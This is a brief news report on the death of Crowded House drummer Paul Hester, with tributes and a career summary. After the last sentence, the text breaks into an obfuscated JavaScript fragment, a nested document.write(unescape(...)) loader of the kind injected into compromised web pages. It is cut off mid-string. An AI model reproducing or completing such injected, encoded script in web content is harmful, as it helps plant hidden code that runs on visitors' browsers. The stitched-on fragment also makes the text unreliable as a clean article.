Crowded House drummer found dead

Crowded House's founding drummer has been found dead in a Melbourne Park.

According to ambulance officers who discovered Paul Hester's body in Elsternwick park he had “attempted suicide" and died of strangulation believed to be caused by hanging. Police have said his death was not suspicious.

The drummer, 46, was last seen alive on Friday (March 25) when he took his dogs for a walk and friends say there had been no indication he was depressed.

Speaking to the Australia Daily Telegraph, Crowded House singer Neil Finn paid tribute to Hester, declaring "I'm devastated, I have lost one of my best mates".

Hester was born in 1959 in Melbourne, and was a member of Crowded House from the outset after he and Finn left new wave band Split Enz to begin the group in 1985. In 1994 he left Crowded House citing the pressures of touring and became a TV and radio presenter.

Hester lived in Melbourne and is survived by his partner Mardi Sommerfeld and two young daughters.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22